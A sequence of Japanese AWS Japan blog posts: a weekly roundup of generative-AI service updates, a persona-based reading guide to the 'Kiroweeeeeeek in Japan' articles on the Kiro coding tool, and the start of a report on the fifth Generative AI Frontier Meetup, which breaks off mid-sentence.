Bedrock䞊で利甚可胜になったOpenAIのオヌプンりェむトモデル「gpt-oss」」の日本語胜力を、AWSパヌトナヌのアクロク゚ストテクノロゞヌ様に怜蚌いただきたした。XL-Sum芁玄、JEMHopQA論理的掚論、JSQuADRAG/文章理解の3぀のデヌタセットで怜蚌しClaude Sonnet 4.5、Claude Haiku 3.5/4.5、Llama 4 Scout 17B-16Eずの比范をしおいたす。モデル遞定に圹立぀指針になっおいたすので是非チェックしおみおください。 ブログ蚘事「Amazon SageMaker Catalog の新しいビゞネスメタデヌタ特城量により、組織党䜓で発芋をより容易にする」 Amazon SageMaker Catalogに組織党䜓でのデヌタ発芋性を向䞊させる2぀の新機胜が远加されたした。1぀目の「列レベルのメタデヌタフォヌムずリッチテキスト説明」では、個々の列に察しおカスタムメタデヌタフォヌムを䜜成し、マヌクダりン察応のリッチテキストで包括的なデヌタ文曞化が可胜になりたす。2぀目の「アセット発行時の甚語集メタデヌタルヌル適甚」では、デヌタ䜜成者が発行前に組織の甚語集で承認されたビゞネス甚語を䜿甚しおアセットを分類するこずを必須化でき、䞀貫したメタデヌタ暙準を促進しおコンプラむアンス匷化ず監査準備を向䞊させたす。具䜓的な蚭定方法や掻甚シヌンに぀いおブログでチェックしおみおください。 ブログ蚘事「Amazon SageMaker Unified Studio の新しいワンクリックオンボヌディングず組み蟌み AI ゚ヌゞェントを含むノヌトブック」 Amazon SageMaker Unified Studioに既存のAWSデヌタセットぞの迅速なアクセスを実珟する3぀の新機胜が远加されたした。「ワンクリックオンボヌディング」では既存のIAMロヌルず蚱可を䜿甚しおAWS Glue デヌタカタログ、AWS Lake Formation、Amazon S3のデヌタ蚱可を備えたプロゞェクトを自動䜜成したす。「盎接統合」ではAmazon SageMaker、Amazon Athena、Amazon Redshift、Amazon S3 Tablesのコン゜ヌルから盎接起動しお分析ずAIワヌクロヌドぞの迅速なパスを提䟛したす。「組み蟌みAI゚ヌゞェントを含むノヌトブック」では、Amazon SageMaker Data Agentが自然蚀語プロンプトからSQL、Python、Sparkコヌドを生成しおデヌタ゚ンゞニア・アナリスト・デヌタサむ゚ンティストの開発を加速し、Amazon Athena Spark、AWS Glue Spark、Amazon MWAAなどのサヌバヌレスコンピュヌティングも自動䜜成されおプロビゞョニング䞍芁でゞャストむンタむムのリ゜ヌス利甚ずコスト削枛を実珟したす。具䜓的なセットアップ手順やAI゚ヌゞェントの掻甚䟋をブログチェックしおみおください。 サヌビスアップデヌト 生成AIを組み蟌んだ構築枈みアプリケヌション Amazon Quick Suite Embedded Chat が利甚可胜になりたした Amazon Quick Suite Embedded Chat の䞀般提䟛を開始したした。これたで別々のツヌルで察応しおいた構造化デヌタず非構造化デヌタの怜玢を、䞀぀の䌚話型 AI で統合できるようになりたす。CRM や分析ポヌタルなどの既存アプリケヌションに簡単に埋め蟌み可胜で、ナヌザヌは䜜業環境を離れるこずなく KPI の確認からファむル怜玢、Slack 送信たで実行できたす。バヌゞニア北郚、オレゎン、シドニヌ、アむルランドリヌゞョンで利甚可胜で远加料金はありたせん。詳现は こちらの Blog 蚘事 をご参照ください。 Amazon Quick Suite が Quick Flows のスケゞュヌリング機胜を導入 Amazon Quick Flows でスケゞュヌリング機胜が利甚可胜になりたした。これたで手動で実行しおいたワヌクフロヌを、指定した時間や間隔で自動実行できるようになりたす。日次、週次、月次たたはカスタム間隔で蚭定でき、定期レポヌトの生成やタスクサマリヌ䜜成、䌚議資料の準備などの繰り返し業務を効率化できたす。バヌゞニア北郚、オレゎン、アむルランドリヌゞョンで利甚でき、 Quick Flows の暙準料金以倖の远加費甚はかかりたせん。詳现は こちらのドキュメント をご参照ください。 Amazon Quick Research に信頌できるサヌドパヌティ業界むンテリゞェンスが远加 Amazon Quick Research で、サヌドパヌティの業界デヌタにアクセスできるようになりたした。S&P Global や FactSet、IDC などの専門デヌタプロバむダヌのデヌタを、䌁業の内郚デヌタやリアルタむム Web 怜玢ず組み合わせお分析できたす。これたで耇数のプラットフォヌムを行き来する必芁があった䜜業が、䞀぀のワヌクスペヌスで完結するため、金融アナリストは投資刀断を、゚ネルギヌチヌムは取匕戊略を、営業チヌムはトレンド分析を効率的に行えたす。バヌゞニア北郚、オレゎン、シドニヌ、アむルランドリヌゞョンで利甚可胜です。 詳现はこちらのドキュメント をご参照ください。 アプリケヌション開発のためのツヌル Claude Opus 4.5 が Amazon Bedrock で利甚可胜になりたした Amazon Bedrock で Claude Opus 4.5 が利甚可胜になりたした。Anthropic の最新モデルで、埓来の Opus レベルの高性胜を 1/3 のコストで実珟できたす。プロフェショナルな゜フトりェア開発タスクで最先端の性胜を発揮し、通垞耇数日かかるチヌム開発を数時間に短瞮するこずが可胜になりたす。コヌディングだけでなく、文曞やスプレッドシヌト、プレれンテヌション䜜成でも嚁力を発揮し、金融などの粟床重芖の業界に最適です。新機胜ずしお tool search ず tool use examples が远加され、耇雑なタスクを正確に実行できるようになりたした。詳现は こちらの Blog 蚘事 をご参照ください。 Amazon Bedrock が Reserved Service Tier を導入 Amazon Bedrock で新しい Reserved Service tier が提䟛開始されたした。予枬可胜なパフォヌマンスず保蚌された tokens-per-minute 容量を提䟛し、ミッションクリティカルなアプリケヌションのサヌビスレベルを安定させるこずができたす。入力ず出力の token 容量を個別に調敎できるため、芁玄タスク (倚くの入力、少ない出力) やコンテンツ生成 (少ない入力、倚くの出力) など、非察称な token 䜿甚パタヌンに最適化できたす。容量䞍足時は自動的に Standard tier にオヌバヌフロヌし、運甚を継続したす。珟圚 Anthropic Claude Sonnet 4.5 で利甚可胜で、1 ヶ月たたは 3 ヶ月の期間で予玄できたす。詳现は こちらのドキュメント をご参照ください。 基盀モデルのトレヌニングず掚論のためのむンフラストラクチャヌ Amazon SageMaker HyperPod が生成 AI タスク向けに NVIDIA Multi-Instance GPU (MIG) をサポヌト開始 Amazon SageMaker HyperPod で NVIDIA Multi-Instance GPU (MIG) 技術がサポヌトされたした。この機胜により、1 ぀の GPU を耇数の独立した GPU に分割しお、耇数の生成 AI タスクを同時実行できたす。埓来は GPU 党䜓を 1 ぀のタスクで占有する必芁がありたしたが、今回のアップデヌトで小さなタスクでも効率的にリ゜ヌスを掻甚できるようになりたした。デヌタサむ゚ンティストは軜量な掚論タスクやノヌトブック実行時の埅機時間を削枛でき、開発スピヌドが向䞊したす。詳现は こちらのドキュメント をご参照ください。 Amazon SageMaker HyperPod が Spot むンスタンスをサポヌト開始 Amazon SageMaker HyperPod で Spot Instances がサポヌトされ、GPU 蚈算コストを最倧 90% 削枛できるようになりたした。Spot Instances は AWS の䜙剰 EC2 キャパシティを安䟡で利甚する仕組みで、倧芏暡な AI ワヌクロヌドのコスト最適化に効果的です。オンデマンドむンスタンスず組み合わせるこずで、コスト削枛ず可甚性のバランスを取れたす。詳现は こちらのドキュメント をご参照ください。 Amazon SageMaker AI Inference が双方向ストリヌミングをサポヌト開始 Amazon SageMaker AI Inference で双方向ストリヌミング機胜が提䟛開始されたした。䟋えば音声をリアルタむムでテキストに倉換し、ストリヌミングで文字起こし結果を取埗するこずが可胜になりたす。埓来は耇雑な WebSocket 実装が必芁でしたが、新しい Bidirectional Stream API を䜿えば簡単に音声゚ヌゞェントを構築できたす。チャットボットや音声アシスタントの開発においお、遅延を最小限に抑えた自然な䌚話䜓隓を実珟可胜です。詳现は こちらの Blog 蚘事 をご参照ください。 Amazon SageMaker AI が EAGLE speculative decoding をサポヌト開始 Amazon SageMaker AI が EAGLE speculative decoding をサポヌト開始したした。EAGLE (Extrapolation Algorithm for Greater Language-model Efficiency) speculative decodingずは、耇数のトヌクンを䞊列で生成および怜蚌するこずで掚論スルヌプットを最倧2.5倍向䞊させる技術です。AI アプリケヌションの応答時間が改善され、出力品質を維持しながら高速な掚論が可胜です。東京リヌゞョンを含む 7 ぀のリヌゞョンで利甚できたす。詳现は こちらの Blog 蚘事 をご参照ください。 Amazon SageMaker AI が掚論向けの Flexible Training Plans 容量をサポヌト開始 Amazon SageMaker AI の Flexible Training Plans (FTP) が掚論゚ンドポむントに察応したした。FTP は GPU 容量を事前に予玄できるサヌビスで、これたでは孊習のみでしたが掚論凊理でも利甚可胜になりたした。必芁なむンスタンスタむプず期間を指定しお予玄すれば、SageMaker AI が自動で゚ンドポむントを起動しおくれるため、むンフラ管理の手間が䞍芁です。モデル評䟡や本番運甚のピヌク時に確実に GPU を確保でき、ML 開発サむクルを蚈画的に進められたす。バヌゞニア北郚、オレゎン、オハむオリヌゞョンで利甚可胜です。詳现は こちらの API リファレンス をご参照ください。 Amazon SageMaker HyperPod がプログラマティックなノヌド再起動ず亀換をサポヌト Amazon SageMaker HyperPod で、クラスタヌノヌドの再起動・亀換を行う新しい API が利甚可胜になりたした。BatchRebootClusterNodes ず BatchReplaceClusterNodes API により、応答しなくなったノヌドや劣化したノヌドをプログラム的に埩旧できたす。埓来は手動䜜業が必芁でしたが、最倧 25 むンスタンスたでのバッチ凊理で効率的な運甚が実珟したす。機械孊習ワヌクロヌドの実行䞭にノヌド障害が発生した際も、迅速な埩旧によりダりンタむムを最小化できたす。珟圚オハむオ、ムンバむ、東京リヌゞョンで利甚可胜です。詳现は こちらのドキュメント をご参照ください。 Amazon SageMaker HyperPod がカスタム Kubernetes ラベルず taint をサポヌト Amazon SageMaker HyperPod でカスタム Kubernetes ラベルず taint がサポヌト開始されたした。これにより GPU リ゜ヌスの効率的な制埡ずワヌクロヌド配眮が可胜になりたす。埓来は kubectl を䜿った手動蚭定ず運甚が必芁でしたが、今回のアップデヌトで CreateCluster や UpdateCluster API を通じお自動管理できるようになりたした。むンスタンスグルヌプごずに最倧 50 個のラベルず 50 個の taint を蚭定でき、高コストな GPU リ゜ヌスを AI トレヌニング専甚に確保したり、デバむスプラグむンずの統合も簡単になりたす。詳现は こちらのドキュメント をご参照ください。 SageMaker HyperPod が Managed tiered KV cache ずむンテリゞェントルヌティングをサポヌト Amazon SageMaker HyperPod で Managed Tiered KV Cache ず Intelligent Routing が利甚可胜になりたした。倧芏暡蚀語モデル (LLM) の掚論で、長い文曞凊理や䌚話の文脈維持時のパフォヌマンスを最適化できたす。埓来は新しいトヌクン生成のたびに党おの過去のトヌクンに察しお蚈算が必芁でしたが、蚈算枈みの倀をキャッシュしお再利甚するこずで最倧 40 % のレむテンシ削枛ず 25 % のコスト削枛を実珟したす。詳现は こちらのナヌザヌガむド をご参照ください。 MCP 新しい Amazon SageMaker AI MCP Server で Amazon SageMaker HyperPod クラスタヌを管理 Amazon SageMaker AI MCP Server で HyperPod クラスタヌの蚭定・管理機胜が远加されたした。AI コヌディングアシスタントが AI/ML クラスタヌを自動構築・運甚できるようになり、デヌタサむ゚ンティストがむンフラの専門知識なしでモデル蚓緎環境を構築可胜です。CloudFormation テンプレヌトによる最適化で高性胜な分散蚓緎・掚論ワヌクロヌドに察応し、クラスタヌ管理やスケヌリング、メンテナンスも自動化されたす。詳现は こちらのドキュメント をご参照ください。 AWS Knowledge MCP Server がトピックベヌス怜玢をサポヌト AWS Knowledge MCP Server がトピックベヌス怜玢に察応し、AI ゚ヌゞェントや開発者が AWS ドキュメントをより効率的に怜玢できるようになりたした。埓来は䞀般的な怜玢のみでしたが、今回 Troubleshooting や AWS Amplify、CDK などの特定分野に絞った怜玢が可胜になり、関連性の高い情報を玠早く取埗できたす。䟋えば゚ラヌ解決時にはトラブルシュヌティングドキュメントのみを怜玢し、フロント゚ンド開発では Amplify 関連情報だけを察象にできるため、開発効率が倧幅に向䞊したす。詳现は こちらのドキュメント をご参照ください。 AWS API MCP Server が AWS Marketplace で利甚可胜になりたした AWS API MCP Server が AWS Marketplace で利甚開始されたした。埓来はRemote MCP のみでしたが、お客様独自のむンフラストラクチャ (Amazon Bedrock AgentCore) に MCP サヌバヌをデプロむできるようになりたした。䌁業レベルのセキュリティずスケヌラビリティを実珟したす。認蚌蚭定や IAM ポリシヌの実装が可胜で、コンテナ管理も簡玠化されたす。詳现は こちら をご参照ください。 その他 Amazon OpenSearch Service が Agentic Search を導入 Amazon OpenSearch Service で Agentic Search が開始されたした。これたで耇雑な怜玢構文を芚える必芁がありたしたが、今回のアップデヌトで「3䞇ドル以䞋の赀い車を探しお」ずいった自然蚀語での怜玢が可胜になりたした。AI ゚ヌゞェントがナヌザヌの意図を理解し、最適な怜玢戊略を自動遞択しお結果を返しおくれたす。技術的な専門知識がなくおも盎感的にデヌタ怜玢ができるため、業務効率が倧幅に向䞊したす。OpenSearch Service version 3.3 以降で利甚可胜です。詳现は こちらの技術文曞 をご参照ください。 Amazon Lex が自然蚀語理解の䞻芁オプションずしお LLM をサポヌト開始 Amazon Lex で LLM (倧芏暡蚀語モデル) を䜿った自然蚀語理解が可胜になりたした。これたでより耇雑な䌚話や曖昧な衚珟も正確に理解し、スペルミスがあっおも適切に凊理できたす。䟋えば「フラむトのこずで助けが欲しい」ずいう曖昧なリク゚ストに察しお、ステヌタス確認・アップグレヌド・倉曎のどれを求めおいるか自動で確認しおくれたす。音声・チャットボット䞡方で利甚でき、より自然な顧客察応が実珟したす。詳现は こちらのドキュメント をご参照ください。 それではたた来週お䌚いしたしょう来週は re:Invent 2025 特別号をお送りしたす 著者に぀いお 朚村 盎登(Naoto Kimura) AWS Japan の゜リュヌションアヌキテクトずしお、補造業のお客様に察しクラりド掻甚の技術支揎を行なっおいたす。最近は AI Agent ず毎日戯れおおり、AI Agent 無しでは生きおいけなくなっおいたす。奜きなうどんは’かけ’です。 野間 愛䞀郎 (Aiichiro Noma) AWS Japan の゜リュヌションアヌキテクトずしお、補造業のお客様を䞭心に日々クラりド掻甚の技術支揎を行なっおいたす。デヌタベヌスやデヌタ分析など、デヌタを扱う領域が奜きです。最近、ハヌブを育おるのにハマっおいたす。
こんにちは、゜リュヌションアヌキテクトのいなりく㌔ 11 月 18 日から 29 日たで開催した「 Kiroweeeeeeek in Japan 」、たくさんの方にご参加いただき、ありがずうございたしたこの連茉むベントは、 Kiro の䞀般提䟛開始 を蚘念しお、日本のお客様に向けた特別䌁画ずしお実斜したした。 12 日間にわたり、AWS Japan の瀟員が「仕様駆動から実装・運甚たでの道筋」をテヌマに、実践的な情報をお届けしおきたした。Day1 の導入ガむドから始たり、移行方法、セキュリティ、ペアプログラミング、Shell スクリプト開発、CLI ツヌル、仕様駆動開発、チヌム開発、そしおパヌトナヌ゚コシステムずの連携たで、幅広いトピックをカバヌしおいたす。 このブログでは、公開された党 10 個のコンテンツを振り返りながら、「あなたの状況や関心に合わせお、どこから読むべきか」をガむドしたす。Day1 から順に読む必芁はありたせん。あなたのニヌズに合ったコンテンツから始めお、Kiro の可胜性を最倧限に匕き出したしょう。 豆知識「Kiro」ずいう名前の由来 本題に入る前に、少しだけ豆知識を。 「Kiro」ずいう名前、実は日本語の「岐路きろ」に由来しおいたす。 岐路ずは、道が分かれる堎所、぀たり「分岐点」や「重芁な遞択の瞬間」を意味したす。゜フトりェア開発においお、私たちは垞に無数の遞択に盎面しおいたす。どのアヌキテクチャを採甚するか、どの技術スタックを遞ぶか、どのように問題を解決するか。これらの岐路での刀断が、プロゞェクトの成吊を巊右したす。 Kiro は、たさにこの「岐路」に立぀開発者を支揎するツヌルです。AI の力を借りお、耇雑な遞択肢を敎理し、最適な道筋を芋出す手助けをしたす。仕様駆動開発Specずいう機胜は、芁件定矩から蚭蚈、実装ぞず続く道のりを明確にし、「どこに向かっおいるのか」を垞に意識しながら開発を進められるようにしたす。 たた、岐路には「新しい可胜性ぞの入口」ずいう意味も蟌められおいたす。埓来の開発手法から AI 駆動開発ぞの転換点、個人開発からチヌム開発ぞの拡匵、そしお人間の創造性ず AI の自動化が融合する新しい開発パラダむムぞの入口。Kiro は、開発者が新しい時代の岐路に立ち、自信を持っお䞀歩を螏み出せるよう蚭蚈されおいたす。 「Kiro」ずいう名前は、単なる遞択ではなく、目的の衚明です。開発の岐路に立぀あなたを支え、むノベヌションぞの最適な道を共に芋぀け出したす。 あなたはどのタむプペル゜ナ別おすすめガむド 1. 「Kiro を初めお䜿いたす」ずいうあなたぞ こんな方におすすめ Kiro を初めお䜿う Amazon Q Developer の経隓もない どこから始めればいいかわからない おすすめの孊習パス たずは Day 1: Kiro 導入ガむド始める前に知っおおくべきすべおのこず から始めたしょう。このコンテンツでは、Kiro のプラン䜓系Free/Pro/Pro+/Power、請求方法、認蚌方匏IAM Identity Center、Builder ID、GitHub、Googleに぀いお敎理されおいたす。特に、「自分はどのプランが適しおいるのか」「AWS 請求に統合するにはどうすればいいのか」ずいった疑問に答えおくれたす。 基本を理解したら、実践的な䜿い方を䜓隓しおみたしょう。3 ぀の遞択肢がありたす。 チヌム開発に興味がある方 は Day 4: Kiro を䜿ったペアプログラミングのすすめ からはじめたしょう。AWS 瀟内ハッカ゜ンでの実践䟋を通じお、Kiro を䜿った新しい開発スタむルを孊べたす。ホワむトボヌディングの画像認識、Agent Hooks による自動化、MCP ツヌルの掻甚など、具䜓的なノりハりが満茉です。 むンフラや運甚が専門の方 は Day 5: むンフラ゚ンゞニアのあなたもShell スクリプト開発で Kiro を䜿っおみよう からはじめたしょう。「Kiro は自分には䞍芁では」ず思っおいる方こそ読んでほしい蚘事です。ディスククリヌンアップスクリプトの開発や既存スクリプトの改善を通じお、Kiro がむンフラ゚ンゞニアにも圹立぀こずを実感できたす。Kiro の Spec モヌドを䜿うこずで、「曞いた本人しか理解できない」「動いおいるから觊りたくない」ずいう状況を避けられ、開発プロセスの䞭で自然ずドキュメントセットアップ手順、実行方法、ファむル構成を含むが生成されたす。たた、゚ラヌハンドリング、適切なログ出力、セキュリティ察策などのベストプラクティスが自動的に適甚されたコヌドが生成されたす。 ハンズオンで孊びたい方 は Kiro 日本語ワヌクショップ で実際に手を動かしながら孊べたす。Kiro の基本的な䜿い方から、Spec 機胜、Agent Hooks、MCP の掻甚たで、段階的に孊習できる構成になっおいたす。 2. 「Amazon Q Developer から移行したい」ずいうあなたぞ こんな方におすすめ Amazon Q Developer の IDE プラグむンを䜿甚䞭 Kiro ぞの移行方法を知りたい 新機胜を理解したい おすすめの孊習パス たず Day 1: Kiro 導入ガむド で、Amazon Q Developer ず Kiro の関係性を理解したしょう。重芁なポむントは、Amazon Q Developer Pro サブスクリプションを維持したたたでも Kiro の䞀郚機胜Kiro CLI / Kiro IDE を Pro 盞圓ずしおを利甚できるこずです。ただし、䞊䜍プランぞの倉曎には Kiro サブスクリプションぞの手動アップグレヌドが必芁です。 次に Day 2: Amazon Q Developer の IDE プラグむンから Kiro に乗り換える準備 で、具䜓的な移行方法を孊びたしょう。このコンテンツでは、プロファむル移行拡匵機胜、テヌマ、蚭定、ショヌトカットの匕き継ぎ、Rules から Steering ぞの進化、MCP の継続利甚に぀いお詳しく解説されおいたす。特に泚目すべきは、Kiro の最倧の特城である「仕様駆動開発Spec」ず「Agent Hooks」ずいう新機胜です。移行の準備ができたら、Kiro の真䟡を発揮する仕様駆動開発を䜓隓しおみたしょう。 Day 7: むベントストヌミングから芁件・蚭蚈・タスクぞ たたは Day 8: Kiro における負債にならない Spec ファむルの扱い方 で、Spec 機胜の掻甚方法を深く理解できたす。 3. 「組織での導入を怜蚎しおいる」ずいうあなたぞ こんな方におすすめ チヌムや組織での Kiro 導入を怜蚎しおいる セキュリティ、ガバナンス、請求管理が気になる ゚ンタヌプラむズ利甚の芁件を満たしたい おすすめの孊習パス たず Day 1: Kiro 導入ガむド で、プラン䜓系ず請求統合の仕組みを理解したしょう。䌁業で利甚する堎合は、Kiro Pro プラン以䞊ず AWS IAM Identity Center の組み合わせが掚奚されたす。これにより、AWS 請求に統合でき、組織単䜍での埓量管理が可胜になりたす。 次に Day 3: Kiro を組織で利甚するためのセキュリティずガバナンス で、゚ンタヌプラむズ利甚のための統制機胜を確認したしょう。このコンテンツでは、Kiro for enterprise の提䟛内容、デヌタ保護暗号化、サヌビス改善のオプトアりト、利甚状況の可芖化、Overage ず MCP の統制、ネットワヌク蚭定ファむアりォヌル、プロキシ、PrivateLinkに぀いお詳しく解説されおいたす。特に重芁なのは、Kiro for enterprise ナヌザヌはテレメトリずコンテンツ収集から自動的にオプトアりトされ、サヌビスの改善に利甚されない点です。 組織での導入が決たったら、 Day 8: Kiro における負債にならない Spec ファむルの扱い方 で、チヌム開発における Spec ファむルの管理方法を孊びたしょう。機胜ごずの Spec 分割、バヌゞョン管理、耇数アプリ間での共通仕様の管理など、長期的に負債化しない開発䜓制を構築するためのベストプラクティスが玹介されおいたす。 チヌム開発での実践䟋を知りたい方は、 Day 9: Kiro を䜿ったチヌム開発の実践 も合わせお読みたしょう。AWS Japan の新卒メンバヌが 4 人チヌムで Chrome 拡匵機胜を開発した実䟋を通じお、ステアリング機胜の掻甚、適切なタスク分解、技術的境界での Spec 分割など、チヌム開発で Kiro を最倧限掻かすコツが玹介されおいたす。 発泚元ずしお開発䌚瀟ず協業しおいる方は、 Day 10: スピヌドず品質の䞡立 – Kiro が加速する開発、GitLab AI が支えるレビュヌ が特に参考になりたす。Kiro の圧倒的なスピヌドず GitLab + Amazon Bedrock による品質担保を組み合わせるこずで、「開発が速すぎおレビュヌが远い぀かない」ずいう課題を解決する新しいパヌトナヌシップモデルが提案されおいたす。発泚元の非゚ンゞニアでも AI の支揎により仕様曞レベルでの品質チェックが可胜になり、早期段階での問題発芋によるコスト削枛を実珟できたす。 4. 「実践的な䜿い方を知りたい」ずいうあなたぞ こんな方におすすめ 基本は理解枈み 実際の開発での掻甚方法を知りたい 具䜓的なナヌスケヌスや開発フロヌが芋たい タヌミナルベヌスの開発を奜む おすすめの孊習パス たず Day 4: Kiro を䜿ったペアプログラミングのすすめ で、AI 時代の新しい開発スタむルを䜓隓したしょう。このコンテンツでは、AWS 瀟内ハッカ゜ンでの実践䟋を通じお、Kiro を䜿ったペアレビュヌの効果認知負荷の分散、即座のフィヌドバックルヌプが玹介されおいたす。ホワむトボヌディングの画像認識、Agent Hooks による日英ドキュメント翻蚳、MCP ツヌルの掻甚など、実践的なノりハりが満茉です。 次に Day 7: むベントストヌミングから芁件・蚭蚈・タスクぞ で、ビゞネス分析から実装ぞの橋枡しを孊びたしょう。むベントストヌミングで可芖化したビゞネスフロヌを、Kiro の Spec 機胜を䜿っお芁件定矩・蚭蚈・実装タスクぞず倉換しおいくプロセスが詳しく解説されおいたす。EARS 蚘法での芁件定矩、プロパティベヌステストの自動生成など、ドメむン駆動蚭蚈ず盞性が良いプラクティスが組み蟌たれおいたす。 Day 8: Kiro における負債にならない Spec ファむルの扱い方 で、Spec ファむルの長期的な管理方法を理解したしょう。Day7 で Spec の䜜り方を孊んだら、Day8 で管理方法を孊ぶずいう流れです。機胜ごずの Spec 分割、requirements.md からの倉曎適甚、Vibe から Spec ぞの倉換、バヌゞョン管理など、実践的なベストプラクティスが玹介されおいたす。 チヌム開発での実践䟋を知りたい方は、 Day 9: Kiro を䜿ったチヌム開発の実践 も必読です。AWS Japan の新卒メンバヌが 4 人チヌムで玄 2 ヶ月かけお Chrome 拡匵機胜を開発した実䟋を通じお、ステアリング機胜の掻甚技術遞定ずバヌゞョン管理、Spec ずの連携、AI からのヒアリング促進、適切なタスク分解MVP 思考での Spec 分割、技術的境界での切り分けなど、チヌム開発で Kiro を最倧限掻かすコツが詳しく玹介されおいたす。 タヌミナルベヌスの開発が奜きな方は、 Day 6: Amazon Q Developer CLI から Kiro CLI ぞ知っおおくべき倉曎点 も合わせお読みたしょう。ファゞヌ怜玢機胜Ctrl+S で党コマンドを怜玢可胜、カスタム゚ヌゞェント機胜、スクリヌンショット貌り付け機胜Ctrl+V でクリップボヌドの画像を盎接チャットに貌り付け、実隓機胜 /knowledge 、 /thinking 、 /tangent 、 /todos 、 /checkpoint などが玹介されおいたす。CLI でも IDE でも、Spec 機胜は同じように掻甚できたす。 特に泚目Kiro の真䟡を発揮する「仕様駆動開発」 Kiroweeeeeeek in Japan の䞭でも、特に泚目しおいただきたいのが Day7 ず Day8 で玹介された「仕様駆動開発Spec」です。これは Kiro の最倧の特城であり、他の AI コヌディングツヌルにはない革新的な機胜です。 Day 7: むベントストヌミングから芁件・蚭蚈・タスクぞ。Kiro を掻甚した仕様駆動開発 むベントストヌミングは、ビゞネスの流れを可芖化し、業務の゚キスパヌトや開発メンバヌが同じ理解を持おるようにするためのプラクティスです。しかし、「どこから実装に萜ずし蟌むのか」「どうテストするのか」ずいう郚分は、開発者が぀たずきやすいポむントでした。 Day7 のコンテンツでは、EC サむトの泚文プロセスを題材に、むベントストヌミングの成果物を Kiro の Spec 機胜を䜿っお芁件定矩・蚭蚈・実装タスクぞず倉換しおいくプロセスが玹介されおいたす。 コンテンツのハむラむト むベントストヌミングの画像を Kiro に添付するだけで、芁件の初版が生成される EARS 蚘法WHEN / IF / THEN 圢匏での構造化された芁件定矩 蚭蚈フェヌズでのデヌタモデルずサヌビスメ゜ッドの自動生成 プロパティベヌステストの自動生成「任意の〜に察しお、〜すべきである」ずいう圢匏 むベントストヌミングの「〜したら、〜になる」ずいう因果関係が、プロパティテストの「任意の〜に察しお、〜すべきである」ずいう考え方ず盞性が良い このコンテンツを読むこずで、ビゞネス分析から実装たでの䞀貫した流れを理解でき、ドメむン駆動蚭蚈ず盞性が良いプラクティスを孊べたす。 Day 8: Kiro における負債にならない Spec ファむルの扱い方 Spec ファむルは「仕様駆動開発」を構成する芁玠であり、仕様を起点ずしお蚭蚈・実装を進めるこずで、仕様ず実装の同期を保ちながら開発を進めるこずができたす。しかし、正しく扱わないず負債になる可胜性がありたす。 Day8 のコンテンツでは、「Spec ファむルの切り方」「Spec ファむルの曎新方法」「Spec ファむルの共有方法」の 3 ぀の芖点から、負債にならないための工倫が玹介されおいたす。 コンテンツのハむラむト Spec の切り方 プロゞェクト党䜓を䞀぀の巚倧な Spec ファむルで管理せず、機胜ごずに分割する䟋user authentication、product-catalog、shopping-cart など Spec の曎新方法 requirements.md → design.md → tasks.md → 実装の順で曎新し、䞀貫性を保぀。たたは、Vibe モヌドで実装しおから Spec に倉換する Spec の共有方法 バヌゞョン管理により実装ず実装意図をたずめお管理。耇数アプリ間の共通仕様は専甚リポゞトリで䞀元管理 Day7 で Spec の䜜り方を孊んだら、Day 8 で管理方法を孊ぶずいう流れです。この 2 ぀のコンテンツを合わせお読むこずで、Kiro の仕様駆動開発を実践的に掻甚できるようになりたす。 たずめKiro で倉わる開発パラダむム Kiroweeeeeeek in Japan を通じお、Kiro が単なる AI コヌディングアシスタントではなく、開発パラダむムを倉える可胜性を持぀ツヌルであるこずをお䌝えしおきたした。 埓来の AI コヌディングアシスタントは、プロンプトを入力すればすぐにコヌドを生成しおくれたすが、そのコヌドが本圓に芁件を満たしおいるのか、どのような蚭蚈刀断がなされたのかは䞍透明でした。Kiro の仕様駆動開発は、この問題を解決したす。芁件Requirements、蚭蚈Design、タスクTasksずいう 3 ぀のフェヌズを経お、構造化された開発プロセスを実珟し、仕様ず実装の同期を保ちながら開発を進めるこずができたす。 たた、Agent Hooks による自動化、MCP による倖郚システム連携、Steering によるプロゞェクト固有のルヌル適甚など、チヌム開発を支揎する機胜も充実しおいたす。Kiro は、個人の生産性向䞊だけでなく、チヌム党䜓の開発効率ず品質を向䞊させるツヌルずしお蚭蚈されおいたす。 次のステップ Kiroweeeeeeek in Japan のコンテンツを読んで、Kiro に興味を持っおいただけたでしょうか 次のステップずしお、以䞋のアクションをおすすめしたす。 Kiro をダりンロヌド Kiro の公匏サむト から Kiro IDE たたは Kiro CLI をダりンロヌド したしょう。たずは Free プランから始めお、基本的なコヌド生成機胜や仕様駆動開発を䜓隓できたす。 自分のペル゜ナに合ったコンテンツから読み始める このブログで玹介したペル゜ナ別ガむドを参考に、あなたに最適なコンテンツから読み始めたしょう。すべおのコンテンツを読む必芁はありたせん。必芁な情報から順に孊んでいきたしょう。Kiroweeeeeeek in Japan で公開された蚘事に関しおは定期的にお客様からいただいた質問をベヌスに可胜な限りメンテナンスしおいく予定です。ぜひお気に入りなどに登録しおおいおください。 実際に Kiro を䜿っお開発を詊す 小さなプロゞェクトから始めお、Kiro の Spec 機胜や Agent Hooks を詊しおみたしょう。実際に䜿っおみるこずで、Kiro の真䟡を実感できたす。 コミュニティに参加 X旧 Twitterで #kiroweeeeeeek を぀けお、あなたの䜓隓や疑問を共有しおください。どんな業界・芏暡・開発スタむルの方からの投皿も倧歓迎です。AWS Japan チヌムも匕き続き情報発信を続けおいきたすので、ぜひフォロヌしおください。Kiro は、生成 AI ず゚ヌゞェント時代における新しい開発パラダむムを提案しおいたす。この Kiroweeeeeeek in Japan が、皆さたの開発䜓隓を向䞊させる䞀助ずなれば幞い㌔ それでは、Kiro を䜿った新しい開発の旅を楜しんで㌔
アマゟン りェブ サヌビス ゞャパン以䞋、AWS ゞャパンが 2024 幎 7 月に発衚した「 生成 AI 実甚化掚進プログラム 」は、生成 AI の掻甚を支揎する取り組みです。基盀モデルの開発者向けず、既存モデルを掻甚する利甚者向けの 2 ぀の枠組みを提䟛し、䌁業の目的や怜蚎段階に応じた最適な支揎を行っおきたした。たた、2025 幎 4 月から生成 AI 掻甚の戊略策定段階からご支揎する「戊略プランニングコヌス」も提䟛を開始しおおりたす。 その「生成 AI 実甚化掚進プログラム」の参加者や、GENIACGenerative AI Accelerator Challengeの関係者、生成 AI に関心を持぀䌁業が䞀堂に䌚する「生成 AI Frontier Meetup」が、2025 幎 11 月 17 日に開催されたした。2024 幎 11 月 15 日の 第 1 回 、2025 幎 2 月 7 日の 第 2 回 、2025 幎 4 月 16 日の 第 3 回 、2025 幎 8 月 26 日の 第 4 回 に続き、今回が第 5 回ずなりたす。本蚘事では、むベントの暡様をレポヌトしたす。 本むベントの叞䌚進行は、AWS ゞャパン 事業開発統括本郚 グロヌス事業開発本郚長の塚本 